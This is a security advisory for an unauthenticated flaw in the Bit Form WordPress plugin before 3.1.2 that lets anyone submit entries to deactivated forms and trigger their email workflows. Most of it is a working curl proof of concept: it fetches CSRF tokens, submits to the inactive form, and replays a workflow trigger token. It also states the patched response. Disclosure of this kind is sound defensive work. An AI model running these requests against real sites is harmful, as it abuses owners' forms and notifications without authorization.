Bit Form < 3.1.2 – Unauthenticated Inactive Form Submission | CVE 2026-15054

Description

The plugin does not enforce a form's active/published status on its public form-submission handlers, allowing unauthenticated users to submit entries to, and fire the configured workflows (such as email notifications) of forms the site owner has deactivated or unpublished.

Proof of Concept

Prerequisites: a Bit Form form that is inactive/unpublished and has a native mailNotify on-submit workflow configured; its numeric <FORM_ID>. No authentication, no cookies.

# a) Obtain submission tokens for the INACTIVE form
curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php?action=bitforms_onload_added_field_and_property" \
     -H "Content-Type: application/json" --data '{"formId":"<FORM_ID>"}'
#   -> {"success":true,"data":{"hidden_fields":[{"name":"csrf","value":"..."},
#                                               {"name":"t_identity","value":"..."}], ...}}

# b) Submit to the INACTIVE form using the returned csrf + t_identity
curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php?action=bitforms_submit_form" \
     -F "action=bitforms_submit_form" -F "bitforms_id=bitforms_<FORM_ID>" \
     -F "csrf=<CSRF>" -F "t_identity=<T_IDENTITY>" \
     -F "bf<FORM_ID>-1=Attacker" -F "bf<FORM_ID>-3=attacker@evil.example" \
     -F "bf<FORM_ID>-5=submitted-to-inactive-form"
#   -> {"success":true,"data":{"entry_id":<N>,"message":"Form Submitted Successfully", ...}}
#   The native mailNotify workflow fires as part of this request; an entry row is written.

# c) On client-cron deployments (e.g. DISABLE_WP_CRON) the submit response returns a one-time
#    cronNotOk token; replaying it fires the workflow explicitly:
curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php?action=bitforms_trigger_workflow" \
     -H "Content-Type: application/json" \
     --data '{"id":"bitforms_<FORM_ID>","cronNotOk":[<ENTRY_ID>,<LOG_ID>,<QUEUE_ID>,"<TRIGGER_TOKEN>"]}'

Expected on <= 3.1.1: (a) tokens issued, (b) entry created + workflow/email fired, (c) workflow executed — all for the inactive form.
Expected on 3.1.2 (fixed): every endpoint returns HTTP 403 {"success":false,"data":"Form is not active"}.